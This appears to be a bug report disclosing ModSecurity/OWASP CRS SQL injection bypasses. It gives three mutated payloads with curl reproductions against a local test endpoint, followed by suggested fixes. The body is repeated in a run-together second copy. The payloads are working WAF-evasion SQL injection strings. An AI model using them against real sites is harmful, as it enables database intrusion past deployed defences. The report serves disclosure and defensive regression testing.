[ModSecurity][GET] SQLi bypass via predicate/operator rewrites around scalar expressions and ordering predicates
Summary
- WAF:
ModSecurity
- Request manner:
GET
- Defect pattern: Predicate/operator rewrites around scalar expressions and ordering predicates.
- Evaluation scope:
623 unique SQLi mutation attempts; 357 successful bypasses were observed in this manner.
- In our log format,
1 => 0 means the WAF decision changed from malicious/blocked to benign/allowed.
Environment
- WAF version:
3.0.6
- Notes: ModSecurity-nginx connector
v1.0.2; OWASP Core Rule Set 3.3.2; OpenResty 1.19.9.1.
Mutation Rules Involved
The study associates this pattern with the following concrete fuzzer rules:
- swap_int_repr: rewrites integer literals as equivalent hexadecimal values or
(SELECT n) expressions
Invisible-character Notation
The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:
<TAB> = horizontal tab (\t, U+0009)
<LF> = line feed (\n, U+000A)
<CR> = carriage return (\r, U+000D)
<FF> = form feed (\f, U+000C)
<VT> = vertical tab (\v, U+000B)
<NBSP> = non-breaking space (U+00A0)
Representative Successful Examples
Case 1
- Final decision change:
1 => 0
- Matching rationale: The transformed payload changes scalar predicates, boolean operators, or ordering predicates while preserving SQLi intent. Observable features: operator rewrite, scalar expression rewrite, lexical mutation.
- Original payload excerpt:
...1));select count(*) from domain.domains as t1,domain.columns as t2,domain.tables as t3 and ((8535=8535
- Transformed payload excerpt, with invisible characters rendered explicitly:
0x1));/*=j{`*//*\\A>n*/count(*) /*r*/ domain.domains/**//*ixuU8*//*9i*/t1,domain.columns/*Sa#<VT>h*//*!aS*//*1E*/t2,domain.tables/**//*!as*//**/t3/**//*!and*/ (('gD'<>'gDn' OR False
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf
- Method:
GET
- Parameter name:
id
- Transport encoding: the payload is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf?id=0x1%29%29%3B%2F%2A%3Dj%7B%60%2A%2F%2F%2A%5CA%3En%2A%2Fcount%28%2A%29%20%2F%2Ar%2A%2F%20domain.domains%2F%2A%2A%2F%2F%2AixuU8%2A%2F%2F%2A9i%2A%2Ft1%2Cdomain.columns%2F%2ASa%23%0Bh%2A%2F%2F%2A%21aS%2A%2F%2F%2A1E%2A%2Ft2%2Cdomain.tables%2F%2A%2A%2F%2F%2A%21as%2A%2F%2F%2A%2A%2Ft3%2F%2A%2A%2F%2F%2A%21and%2A%2F%20%28%28%27gD%27%3C%3E%27gDn%27%20OR%20False'
Case 2
- Final decision change:
1 => 0
- Matching rationale: The transformed payload changes scalar predicates, boolean operators, or ordering predicates while preserving SQLi intent. Observable features: operator rewrite, scalar expression rewrite, lexical mutation.
- Original payload excerpt:
...n0xhnofy1' ) as mara where 7164 = 7164
- Transformed payload excerpt, with invisible characters rendered explicitly:
n0xhnofy1'<LF>)<TAB><LF>As/*#w*/mara<LF>WHeRE<VT>1479<>1480<TAB>oR<LF>False
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf
- Method:
GET
- Parameter name:
id
- Transport encoding: the payload is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf?id=n0xhnofy1%27%0A%29%09%0AAs%2F%2A%23w%2A%2Fmara%0AWHeRE%0B1479%3C%3E1480%09oR%0AFalse'
Case 3
- Final decision change:
1 => 0
- Matching rationale: The transformed payload changes scalar predicates, boolean operators, or ordering predicates while preserving SQLi intent. Observable features: operator rewrite, scalar expression rewrite, lexical mutation.
- Original payload excerpt:
... select * from users where id = 1 or \\.<\\ or 1 = 1 -- 1
- Transformed payload excerpt, with invisible characters rendered explicitly:
/**/* FroMusers /*9#*/ id/**/ LiKE 1/**/oR<LF>\\.<\\ /*?~*/ 7119 LIKE 7119/**/OR False/**/-- 1'v
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf
- Method:
GET
- Parameter name:
id
- Transport encoding: the payload is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf?id=%20%2F%2A%2A%2F%2A%20FroMusers%20%2F%2A9%23%2A%2F%20id%2F%2A%2A%2F%20LiKE%201%2F%2A%2A%2FoR%0A%5C.%3C%5C%20%2F%2A%3F~%2A%2F%207119%20LIKE%207119%2F%2A%2A%2FOR%20False%2F%2A%2A%2F--%201%27v'
Suggested Fixes
- Normalize SQL expressions before rule matching and detect semantically equivalent operators such as
LIKE, NOT LIKE, <>, &&, boolean invariants, and wrapped scalar expressions.
- Add regression coverage for
ORDER BY <expr> and scalar-expression rewrites such as hexadecimal integers and (SELECT n) wrappers.
- Add these transformed payloads as regression tests and assert that they remain blocked after the fix.
Validation Plan
- Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
- Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
- Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.
[ModSecurity][GET] SQLi bypass via predicate/operator rewrites around scalar expressions and ordering predicates
Summary
ModSecurityGET623unique SQLi mutation attempts;357successful bypasses were observed in this manner.1 => 0means the WAF decision changed from malicious/blocked to benign/allowed.Environment
3.0.6v1.0.2; OWASP Core Rule Set3.3.2; OpenResty1.19.9.1.Mutation Rules Involved
The study associates this pattern with the following concrete fuzzer rules:
(SELECT n)expressionsInvisible-character Notation
The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:
<TAB>= horizontal tab (\t, U+0009)<LF>= line feed (\n, U+000A)<CR>= carriage return (\r, U+000D)<FF>= form feed (\f, U+000C)<VT>= vertical tab (\v, U+000B)<NBSP>= non-breaking space (U+00A0)Representative Successful Examples
Case 1
1 => 0Minimal Reproduction
http://127.0.0.1:9000/wafGETid1 => 0).curl -i 'http://127.0.0.1:9000/waf?id=0x1%29%29%3B%2F%2A%3Dj%7B%60%2A%2F%2F%2A%5CA%3En%2A%2Fcount%28%2A%29%20%2F%2Ar%2A%2F%20domain.domains%2F%2A%2A%2F%2F%2AixuU8%2A%2F%2F%2A9i%2A%2Ft1%2Cdomain.columns%2F%2ASa%23%0Bh%2A%2F%2F%2A%21aS%2A%2F%2F%2A1E%2A%2Ft2%2Cdomain.tables%2F%2A%2A%2F%2F%2A%21as%2A%2F%2F%2A%2A%2Ft3%2F%2A%2A%2F%2F%2A%21and%2A%2F%20%28%28%27gD%27%3C%3E%27gDn%27%20OR%20False'Case 2
1 => 0Minimal Reproduction
http://127.0.0.1:9000/wafGETid1 => 0).curl -i 'http://127.0.0.1:9000/waf?id=n0xhnofy1%27%0A%29%09%0AAs%2F%2A%23w%2A%2Fmara%0AWHeRE%0B1479%3C%3E1480%09oR%0AFalse'Case 3
1 => 0Minimal Reproduction
http://127.0.0.1:9000/wafGETid1 => 0).curl -i 'http://127.0.0.1:9000/waf?id=%20%2F%2A%2A%2F%2A%20FroMusers%20%2F%2A9%23%2A%2F%20id%2F%2A%2A%2F%20LiKE%201%2F%2A%2A%2FoR%0A%5C.%3C%5C%20%2F%2A%3F~%2A%2F%207119%20LIKE%207119%2F%2A%2A%2FOR%20False%2F%2A%2A%2F--%201%27v'Suggested Fixes
LIKE,NOT LIKE,<>,&&, boolean invariants, and wrapped scalar expressions.ORDER BY <expr>and scalar-expression rewrites such as hexadecimal integers and(SELECT n)wrappers.Validation Plan